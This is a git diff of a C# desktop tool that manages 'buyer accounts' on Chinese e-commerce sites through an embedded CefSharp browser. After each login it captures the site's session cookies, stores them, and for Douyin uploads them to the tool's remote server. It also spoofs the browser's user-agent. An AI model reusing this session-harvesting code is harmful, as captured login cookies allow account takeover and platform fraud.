DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlCancel.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlCancel.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Custom; + this.pnlCancel.Style.ForeColor.Color = System.Drawing.Color.Black; + this.pnlCancel.Style.GradientAngle = 90; + this.pnlCancel.TabIndex = 43; + this.pnlCancel.Text = "取 消"; + this.pnlCancel.Click += new System.EventHandler(this.pnlCancel_Click); + // + // pnlConfirm + // + this.pnlConfirm.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.pnlConfirm.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlConfirm.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlConfirm.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlConfirm.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlConfirm.Location = new System.Drawing.Point(163, 132); + this.pnlConfirm.Name = "pnlConfirm"; + this.pnlConfirm.Size = new System.Drawing.Size(80, 30); + this.pnlConfirm.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlConfirm.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlConfirm.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlConfirm.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlConfirm.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.pnlConfirm.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlConfirm.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlConfirm.Style.GradientAngle = 90; + this.pnlConfirm.TabIndex = 42; + this.pnlConfirm.Text = "确 定"; + this.pnlConfirm.Click += new System.EventHandler(this.pnlConfirm_Click); + // + // picTip + // + this.picTip.Location = new System.Drawing.Point(25, 52); + this.picTip.Name = "picTip"; + this.picTip.Size = new System.Drawing.Size(64, 64); + this.picTip.TabIndex = 41; + this.picTip.TabStop = false; + // + // lblMsg + // + this.lblMsg.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lblMsg.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblMsg.Location = new System.Drawing.Point(112, 52); + this.lblMsg.Name = "lblMsg"; + this.lblMsg.Size = new System.Drawing.Size(248, 65); + this.lblMsg.TabIndex = 40; + this.lblMsg.Text = "信息"; + this.lblMsg.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // BaseMsgForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.ClientSize = new System.Drawing.Size(388, 217); + this.Controls.Add(this.panel2); + this.Location = new System.Drawing.Point(0, 0); + this.Name = "BaseMsgForm"; + this.Text = "BaseMsgForm"; + this.TitleText = "BaseMsgForm"; + this.WindowState = System.Windows.Forms.FormWindowState.Normal; + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.picTip)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private DevComponents.DotNetBar.PanelEx pnlCancel; + private DevComponents.DotNetBar.PanelEx pnlConfirm; + private System.Windows.Forms.PictureBox picTip; + private System.Windows.Forms.Label lblMsg; + } +} \ No newline at end of file diff --git a/29WxOrder/BaseForms/BaseMsgForm.cs b/29WxOrder/BaseForms/BaseMsgForm.cs new file mode 100644 index 0000000..37e0974 --- /dev/null +++ b/29WxOrder/BaseForms/BaseMsgForm.cs @@ -0,0 +1,134 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace FindLittleRabbitOrder.BaseForms +{ + public partial class BaseMsgForm : BaseForm + { + public BaseMsgForm() + { + InitializeComponent(); + this.Minimized = this.MinimizeBox = false; + this.AcceptButton = pnlConfirm; + SetWindowRegion(); + } + #region 设置窗体圆角 + /// + /// 设置窗体的Region + /// + public void SetWindowRegion() + { + GraphicsPath FormPath; + Rectangle rect = new Rectangle(0, 0, this.Width, this.Height); + FormPath = GetRoundedRectPath(rect, 6); + this.Region = new Region(FormPath); + + } + /// + /// 绘制圆角路径 + /// + /// + /// + /// + private GraphicsPath GetRoundedRectPath(Rectangle rect, int radius) + { + int diameter = radius; + Rectangle arcRect = new Rectangle(rect.Location, new Size(diameter, diameter)); + GraphicsPath path = new GraphicsPath(); + + // 左上角 + path.AddArc(arcRect, 180, 90); + + // 右上角 + arcRect.X = rect.Right - diameter; + path.AddArc(arcRect, 270, 90); + + // 右下角 + arcRect.Y = rect.Bottom - diameter; + path.AddArc(arcRect, 0, 90); + + // 左下角 + arcRect.X = rect.Left; + path.AddArc(arcRect, 90, 90); + path.CloseFigure();//闭合曲线 + return path; + } + + #endregion + + public static BaseMsgForm ShowInfo(string msg, string caption = "", FormLevel fl = FormLevel.MEDIUM) + { + string title = string.IsNullOrEmpty(caption) ? "系统提示" : caption; + BaseMsgForm msgBox = CreateMsgForm(msg, fl, title); + msgBox.picTip.Image = global::FindLittleRabbitOrder.Properties.Resources.BaseMsgInfo; + msgBox.ShowDialog(); + return msgBox; + } + + private static BaseMsgForm CreateMsgForm(string msg, FormLevel fl, string title) + { + BaseMsgForm msgBox = new BaseMsgForm { Text = title, lblMsg = { Text = msg }, TitleText = title }; + if (fl.Equals(FormLevel.LARGE)) + { + msgBox.Width = (int)FormLevel.LARGE; + msgBox.Height = 280; + } + msgBox.pnlConfirm.Location = msgBox.pnlCancel.Location; // 把确认按钮移到取消按钮上面 + msgBox.pnlCancel.Visible = false; + return msgBox; + } + + public static BaseMsgForm ShowError(string msg, string caption = "", FormLevel fl = FormLevel.MEDIUM) + { + string title = string.IsNullOrEmpty(caption) ? "系统错误" : caption; + BaseMsgForm msgBox = CreateMsgForm(msg, fl, title); + msgBox.picTip.Image = global::FindLittleRabbitOrder.Properties.Resources.BaseMsgErr; + msgBox.ShowDialog(); + return msgBox; + } + + public static BaseMsgForm ShowConfirm(string msg, string caption = "", FormLevel fl = FormLevel.MEDIUM) + { + string title = string.IsNullOrEmpty(caption) ? "系统提示确认" : caption; + BaseMsgForm msgBox = new BaseMsgForm + { + Text = title, + lblMsg = { Text = msg }, + TitleText = title, + picTip = { Image = global::FindLittleRabbitOrder.Properties.Resources.BaseMsgQue } + }; + if (fl.Equals(FormLevel.LARGE)) + { + msgBox.Width = (int)FormLevel.LARGE; + } + msgBox.ShowDialog(); + return msgBox; + } + + private void pnlConfirm_Click(object sender, EventArgs e) + { + DialogResult = DialogResult.OK; + } + + private void pnlCancel_Click(object sender, EventArgs e) + { + DialogResult = DialogResult.Cancel; + } + } + + public enum FormLevel + { + SMALL, + MEDIUM, + LARGE = 500 + } + +} diff --git a/29WxOrder/BaseForms/BaseMsgForm.resx b/29WxOrder/BaseForms/BaseMsgForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/29WxOrder/BaseForms/BaseMsgForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/29WxOrder/BoundJs.cs b/29WxOrder/BoundJs.cs new file mode 100644 index 0000000..3fc5d1d --- /dev/null +++ b/29WxOrder/BoundJs.cs @@ -0,0 +1,31 @@ +using AllBase; +using CefSharp.WinForms; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace _29WxOrder +{ + public class BoundJs + { + public static ChromiumWebBrowser OwnerBrowser; + //public SearchSameForm SearchForm; + public BoundJs(ChromiumWebBrowser OwnerBrowserx/*, SearchSameForm searchForm*/)//构造与JS交互的方法 + { + OwnerBrowser = OwnerBrowserx; + //SearchForm = searchForm; + } + public void myfunc(string aniContent) + { + BaseClass.AntiContent = aniContent; + } + + public void addproId(string upId) + { + //SearchForm.SetUpProductId(upId); + } + + } +} diff --git a/29WxOrder/BoundObject.cs b/29WxOrder/BoundObject.cs new file mode 100644 index 0000000..c400e7c --- /dev/null +++ b/29WxOrder/BoundObject.cs @@ -0,0 +1,37 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using CefSharp; +using AllBase; + +namespace _29WxOrder +{ + + public class BoundObject + { + public string MyProperty { get; set; } + public void MyMethod(string param1) + { + try + { + JsEvent.ChatHtml = param1; + } + catch + { + } + MyProperty = param1; + new JsEvent().openMyPc(param1); + } + + public void TestCallback(IJavascriptCallback javascriptCallback) + { + using (javascriptCallback) + { + var response = new string[] { MyProperty }; + javascriptCallback.ExecuteAsync(response); + } + + } + } +} diff --git a/29WxOrder/BuyForms/AutoBuyOrder.Designer.cs b/29WxOrder/BuyForms/AutoBuyOrder.Designer.cs new file mode 100644 index 0000000..b3601f6 --- /dev/null +++ b/29WxOrder/BuyForms/AutoBuyOrder.Designer.cs @@ -0,0 +1,40 @@ + +namespace _29WxOrder.BuyForms +{ + partial class ZiDongPaiDan + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Text = "ZiDongPaiDan"; + } + + #endregion + } +} \ No newline at end of file diff --git a/29WxOrder/BuyForms/AutoBuyOrder.cs b/29WxOrder/BuyForms/AutoBuyOrder.cs new file mode 100644 index 0000000..52a1c3a --- /dev/null +++ b/29WxOrder/BuyForms/AutoBuyOrder.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace _29WxOrder.BuyForms +{ + public partial class ZiDongPaiDan : Form + { + public ZiDongPaiDan() + { + InitializeComponent(); + } + } +} diff --git a/29WxOrder/BuyForms/AutoBuyOrder.resx b/29WxOrder/BuyForms/AutoBuyOrder.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/29WxOrder/BuyForms/AutoBuyOrder.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/29WxOrder/BuyForms/BuyBrower.Designer.cs b/29WxOrder/BuyForms/BuyBrower.Designer.cs new file mode 100644 index 0000000..8e95a7c --- /dev/null +++ b/29WxOrder/BuyForms/BuyBrower.Designer.cs @@ -0,0 +1,66 @@ + +namespace _29WxOrder.BuyForms +{ + partial class BuyBrower + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.panel1 = new System.Windows.Forms.Panel(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Location = new System.Drawing.Point(1, 34); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(402, 656); + this.panel1.TabIndex = 3; + // + // BuyBrower + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(405, 692); + this.Controls.Add(this.panel1); + this.Name = "BuyBrower"; + this.Text = "BuyBrower"; + this.TitleText = "BuyBrower"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.BuyBrower_FormClosing); + this.Load += new System.EventHandler(this.BuyBrower_Load); + this.Controls.SetChildIndex(this.panel1, 0); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + } +} \ No newline at end of file diff --git a/29WxOrder/BuyForms/BuyBrower.cs b/29WxOrder/BuyForms/BuyBrower.cs new file mode 100644 index 0000000..09020ee --- /dev/null +++ b/29WxOrder/BuyForms/BuyBrower.cs @@ -0,0 +1,447 @@ +using AllBase; +using CefSharp; +using CefSharp.WinForms; +using _29WxOrder.Helper; +using NaiBa.CefHelper; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.BaseForms; +using Work.BuyUsers; + +namespace _29WxOrder.BuyForms +{ + public partial class BuyBrower : BaseForm + { + public BuyBrower() + { + InitializeComponent(); + } + + public MainForm mainForm; + public string userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"; + public ChromiumWebBrowser cefWebBrowser1 = null; + private NaiBa.CefHelper.Handler.CustomResourceRequestHandler resourceRequestHandler = null; + public string webUrl = ""; + public static string Uid = ""; + public static bool GetIni = true; + /// + /// 1拼多多 2淘宝 3 1688 99 巨量百应 + /// + public int webtype = 0; + public void BuyBrower_Load(object sender, EventArgs e) + { + loginEd = false; + if (GetIni && CollectionClass.Province.Count == 0) + { + new Thread(Ini).Start(); + GetIni = false; + } + + this.TitleText = this.Text = "买手号登录"; + if (webUrl.Contains("pinduoduo")) + { + this.Location = new Point(405, 692); + } + else + { + int xWidth = SystemInformation.PrimaryMonitorSize.Width;//获取显示器屏幕宽度 + int yHeight = SystemInformation.PrimaryMonitorSize.Height;//高度 + this.Location = new Point((xWidth / 2) - (this.Width / 2), (yHeight / 2) - (this.Height / 2)); + } + if (cefWebBrowser1 == null) + { + cefWebBrowser1 = new ChromiumWebBrowser(webUrl); + resourceRequestHandler = new NaiBa.CefHelper.Handler.CustomResourceRequestHandler(); + resourceRequestHandler.UserAgent = userAgent; + cefWebBrowser1.RequestHandler = new NaiBa.CefHelper.Handler.CustomRequestHandler(resourceRequestHandler); + cefWebBrowser1.FrameLoadStart += CefWebBrowser_FrameLoadStart; + cefWebBrowser1.FrameLoadEnd += cefWebBrowser1_FrameLoadEnd; + var lifeSapnHandler = new LifeSpanHandlerLocal(PopWindowType.SelfWindow); + cefWebBrowser1.LifeSpanHandler = lifeSapnHandler; + cefWebBrowser1.LoadError += cefWebBrowser1_LoadError; + cefWebBrowser1.Dock = DockStyle.Fill; + + //cefWebBrowser1.RegisterJsObject("bound", new BoundObject(), BindingOptions.DefaultBinder); // CEF67 + // 注册C#类为JS对象 + //CefSharpSettings.LegacyJavascriptBindingEnabled = true; + CefSharpSettings.WcfEnabled = true; + cefWebBrowser1.JavascriptObjectRepository.Register("bound", new BoundObject(), isAsync: false, options: BindingOptions.DefaultBinder); + + + cefWebBrowser1.KeyboardHandler = new CEFKeyBoardHander(); + + panel1.Controls.Add(cefWebBrowser1); + } + else + { + cefWebBrowser1.Load(webUrl); + } + + //cefWebBrowser1.ExecuteScriptAsync("this.globalThis || (this.globalThis = this)"); + } + + public void Ini() + { + string path = "temp/province"; + if (!Directory.Exists("temp")) + Directory.CreateDirectory("temp"); + if (!Directory.Exists(path)) + Directory.CreateDirectory(path); + + string mainDomain = ""; + if (webtype == 1) + { + mainDomain = "yangkeduo.com"; + while (string.IsNullOrEmpty(Uid)) + { + Thread.Sleep(100); + if (BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll[mainDomain].ContainsKey("pdd_user_id")) + Uid = BaseClass.CookiesAll[mainDomain]["pdd_user_id"]; + } + } + else if (webtype == 2) + { + mainDomain = "taobao.com"; + while (string.IsNullOrEmpty(Uid)) + { + Thread.Sleep(100); + if (BaseClass.CookiesAll.ContainsKey("taobao.com") && BaseClass.CookiesAll[mainDomain].ContainsKey("aui")) + Uid = BaseClass.CookiesAll[mainDomain]["aui"]; + } + } + else if (webtype == 3) + { + mainDomain = "1688.com"; + while (string.IsNullOrEmpty(Uid)) + { + Thread.Sleep(100); + if (BaseClass.CookiesAll.ContainsKey("1688.com") && BaseClass.CookiesAll[mainDomain].ContainsKey("unb")) + Uid = BaseClass.CookiesAll[mainDomain]["unb"]; + } + } + + + string html = GetProvince("1"); + var m = BaseRegex.GetMatchRegex(ref html, @"\{(.+?)\}"); + for (int i = 0; m != null && i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + ProvinceBase p = new ProvinceBase(); + p.name = BaseRegex.GetStringJson(ref list, "region_name"); + if (CollectionClass.Province.ContainsKey(p.name)) + continue; + p.id = BaseRegex.GetStringJson(ref list, "region_id"); + p.parent_id = BaseRegex.GetStringJson(ref list, "parent_id"); + html = GetProvince(p.id); + var mm = BaseRegex.GetMatchRegex(ref html, @"\{(.+?)\}"); + for (int j = 0; mm != null && j < mm.Count; j++) + { + list = mm[j].Groups[0].Value; + ProvinceBase pp = new ProvinceBase(); + pp.name = BaseRegex.GetStringJson(ref list, "region_name"); + pp.id = BaseRegex.GetStringJson(ref list, "region_id"); + pp.parent_id = BaseRegex.GetStringJson(ref list, "parent_id"); + if (p.city.ContainsKey(pp.name)) + continue; + html = GetProvince(pp.id); + var mmm = BaseRegex.GetMatchRegex(ref html, @"\{(.+?)\}"); + for (int k = 0; mmm != null && k < mmm.Count; k++) + { + list = mmm[k].Groups[0].Value; + ProvinceBase ppp = new ProvinceBase(); + ppp.name = BaseRegex.GetStringJson(ref list, "region_name"); + ppp.id = BaseRegex.GetStringJson(ref list, "region_id"); + ppp.parent_id = BaseRegex.GetStringJson(ref list, "parent_id"); + if (pp.city.ContainsKey(ppp.name)) + continue; + pp.city[ppp.name] = ppp; + } + p.city[pp.name] = pp; + } + CollectionClass.Province[p.name] = p; + } + } + public string GetProvince(string pid) + { + string path = "temp/province"; + string url = "http://apiv4.yangkeduo.com/api/galen/v2/regions/" + pid + "?pdduid=" + Uid; + string refere = BaseClass.PddMobileUrlx + "addresses.html"; + string html = "", file = path + "/" + pid + ".king"; + + if (FileBase.Exists(file)) + html = FileBase.ReadAllText(file, Encoding.UTF8); + else + { + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + FileBase.WriteAllText(file, html, Encoding.UTF8); + Thread.Sleep(200); + } + return html; + } + private void cefWebBrowser1_LoadError(object sender, LoadErrorEventArgs e) + { + + } + + private void CefWebBrowser_FrameLoadStart(object sender, FrameLoadStartEventArgs e) + { + if (!string.IsNullOrEmpty(userAgent)) + { + // 使用JavaScript修改UserAgent + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync("navigator.__defineGetter__('userAgent', function(){ return '" + userAgent + "'});navigator.userAgent;"); + } + } + private bool loginEd = false; + private void cefWebBrowser1_FrameLoadEnd(object sender, CefSharp.FrameLoadEndEventArgs e) + { + try + { + string url = cefWebBrowser1.Address; + string loginOkUrl = "yangkeduo.com/personal.html";//"?refer_page_name=login"; + string ALloginOkUrl = "https://work.1688.com/home/buyer.htm?_path_=buyer2017Base/2017buyerbase_trade/buyList&spm=a262jm.9273823.wkalibar.d8.5d884aadnN1j9G"; + //https://work.1688.com/home/buyer.htm?_path_=buyer2017Base/2017buyerbase_trade/buyList&spm=a262jm.9273823.wkalibar.d8.5d884aadnN1j9G + if ((url.Contains(loginOkUrl) || url.Contains("pinduoduo.com/personal.html")) && !url.Contains("?refxj=xj")) // 登录成功 + { + var task02 = e.Frame.GetSourceAsync(); + task02.ContinueWith(t => + { + if (!t.IsFaulted) + { + string resultStr = t.Result; + string name = BaseRegex.GetMatchRegexString(ref resultStr, @"""nickname"":""([^']+?)"""); + string uid = BaseRegex.GetMatchRegexString(ref resultStr, @"""uid"":""([^']+?)"""); + if (!string.IsNullOrEmpty(name)) + { + Task.Run(() => + { + cookie.Clear(); + CookieVisitor visitor = new CookieVisitor(); + visitor.SendCookie += visitor_SendCookie; + ICookieManager cookieManager = cefWebBrowser1.GetCookieManager(); + cookieManager.VisitAllCookies(visitor); + PddBuyUser pddBuyUsers = new PddBuyUser(); + Thread.Sleep(2000); + cookie.RemoveAll(x => x.Domain.Contains("mobile.yangkeduo.com") || x.Domain.Contains("mobil.yangkeduo.com")); + pddBuyUsers.SaveCookies(uid, name, cookie); + BaseMsgForm.ShowInfo("登录成功"); + mainForm.ReflashBuyUsers(); + mainForm.PddSelectedItem(uid); + Invoke(new Action(() => + { + if (this.Created) + this.Hide(); + })); + Thread.Sleep(500); + Invoke(new Action(() => + { + if (this.Created) + this.Close(); + })); + }); + } + } + }); + //return; + } + else if (url.Contains("https://i.taobao.com/my_taobao.htm") || url.Contains("https://buyertrade.taobao.com/trade/itemlist/list_bought_items.htm")) + { + + var task02 = e.Frame.GetSourceAsync(); + task02.ContinueWith(t => + { + if ((t.Result.Contains("所有订单") || t.Result.Contains("全部功能")) && loginEd == false) + { + loginEd = true; + if (!t.IsFaulted) + { + Task.Run(() => + { + cookie.Clear(); + CookieVisitor visitor = new CookieVisitor(); + visitor.SendCookie += visitor_SendCookie; + ICookieManager cookieManager = cefWebBrowser1.GetCookieManager(); + cookieManager.VisitAllCookies(visitor); + Thread.Sleep(2000); + new TaoBaoBuyUser().SaveCookies(cookie); + BaseMsgForm.ShowInfo("登录成功"); + mainForm.ReflashBuyUsers(); + Invoke(new Action(() => + { + if (this.Created) + this.Hide(); + })); + Thread.Sleep(500); + Invoke(new Action(() => + { + if (this.Created) + this.Close(); + })); + }); + } + } + }); + } + else if (url.Contains(ALloginOkUrl) && url.IndexOf(ALloginOkUrl) == 0) + { + var task02 = e.Frame.GetSourceAsync(); + task02.ContinueWith(t => + { + if (!t.IsFaulted) + { + string resultStr = t.Result; + if (resultStr.Contains("ts-loginid")) + { + Task.Run(() => + { + cookie.Clear(); + CookieVisitor visitor = new CookieVisitor(); + visitor.SendCookie += visitor_SendCookie; + ICookieManager cookieManager = cefWebBrowser1.GetCookieManager(); + cookieManager.VisitAllCookies(visitor); + ALBuyUser alBuyUser = new ALBuyUser(); + Thread.Sleep(2000); + string uid = alBuyUser.SaveCookies(cookie); + BaseMsgForm.ShowInfo("登录成功"); + mainForm.ReflashBuyUsers(); + Invoke(new Action(() => + { + if (this.Created) + this.Hide(); + })); + Thread.Sleep(500); + Invoke(new Action(() => + { + if (this.Created) + this.Close(); + })); + }); + } + } + }); + } + else if (url.Contains("https://buyin.jinritemai.com/dashboard/merch-picking-hall")) + { + //https://buyin.jinritemai.com/dashboard/merch-picking-hall/center + //https://buyin.jinritemai.com/dashboard/merch-picking-hall/center + var task02 = e.Frame.GetSourceAsync(); + task02.ContinueWith(t => + { + if (!t.IsFaulted) + { + string resultStr = t.Result; + string name = BaseRegex.GetMatchRegexString(ref resultStr, "class=\"btn-item-role-exchange-name__title\">([\\s\\S]+?) + { + cookie.Clear(); + CookieVisitor visitor = new CookieVisitor(); + visitor.SendCookie += visitor_SendCookie; + ICookieManager cookieManager = cefWebBrowser1.GetCookieManager(); + cookieManager.VisitAllCookies(visitor); + Thread.Sleep(2000); + buyin_saveCookie(name, cookie); + BaseMsgForm.ShowInfo("登录成功"); + Invoke(new Action(() => + { + if (this.Created) + this.Hide(); + })); + Thread.Sleep(500); + Invoke(new Action(() => + { + if (this.Created) + this.Close(); + })); + }); + } + } + }); + } + } + catch (Exception) + { + + } + } + /// + /// 保存cookie + /// + public void buyin_saveCookie(string name, List cookie) + { + string cookies = ""; + + foreach (CefSharp.Cookie item in cookie) + { + cookies += item.Name + "=" + item.Value + ";"; + } + + string url = BaseClass.DouYinBuildObjString("user_login_cookies&act=douyin_buy_in_add"); + StringBuilder data = new StringBuilder(); + data.Append("&user_name=" + name); + data.Append("&user_id=1"); + data.Append("&cookies=" + GetHtml.UrlEncodeUtf8(cookies)); + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data); + } + + + + List cookie = new List(); + private void visitor_SendCookie(CefSharp.Cookie obj) + { + string web = ""; + switch (webtype) + { + case 1: + web = "yangkeduo.com"; + if (obj.Domain.Contains(web)) + { + cookie.Add(obj); + } + break; + case 2: + web = ".taobao.com"; + if (obj.Domain.Contains(web) || obj.Domain == ".mmstat.com" || obj.Domain == "g.alicdn.com") + { + cookie.Add(obj); + } + break; + case 3: + web = "1688.com"; + if (obj.Domain.Contains(web)) + { + cookie.Add(obj); + } + break; + case 99: + web = ".jinritemai.com"; + if (obj.Domain.Contains(web)) + { + cookie.Add(obj); + } + break; + } + } + + public bool isCloseForm = false;//关闭窗体的标识 + private void BuyBrower_FormClosing(object sender, FormClosingEventArgs e) + { + isCloseForm = true; + this.Hide(); + e.Cancel = true; + } + } + + +} diff --git a/29WxOrder/BuyForms/BuyBrower.resx b/29WxOrder/BuyForms/BuyBrower.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/29WxOrder/BuyForms/BuyBrower.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/29WxOrder/BuyForms/BuyProductBrower.Designer.cs b/29WxOrder/BuyForms/BuyProductBrower.Designer.cs new file mode 100644 index 0000000..86557b7 --- /dev/null +++ b/29WxOrder/BuyForms/BuyProductBrower.Designer.cs @@ -0,0 +1,65 @@ + +namespace _29WxOrder.BuyForms +{ + partial class BuyProductBrower + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.panel1 = new System.Windows.Forms.Panel(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Location = new System.Drawing.Point(2, 33); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(373, 560); + this.panel1.TabIndex = 3; + // + // BuyProductBrower + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(376, 594); + this.Controls.Add(this.panel1); + this.Name = "BuyProductBrower"; + this.Text = "BuyProductBrower"; + this.TitleText = "BuyProductBrower"; + this.Load += new System.EventHandler(this.BuyProductBrower_Load); + this.Controls.SetChildIndex(this.panel1, 0); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + } +} \ No newline at end of file diff --git a/29WxOrder/BuyForms/BuyProductBrower.cs b/29WxOrder/BuyForms/BuyProductBrower.cs new file mode 100644 index 0000000..0e6c598 --- /dev/null +++ b/29WxOrder/BuyForms/BuyProductBrower.cs @@ -0,0 +1,99 @@ +using CefSharp; +using CefSharp.WinForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using 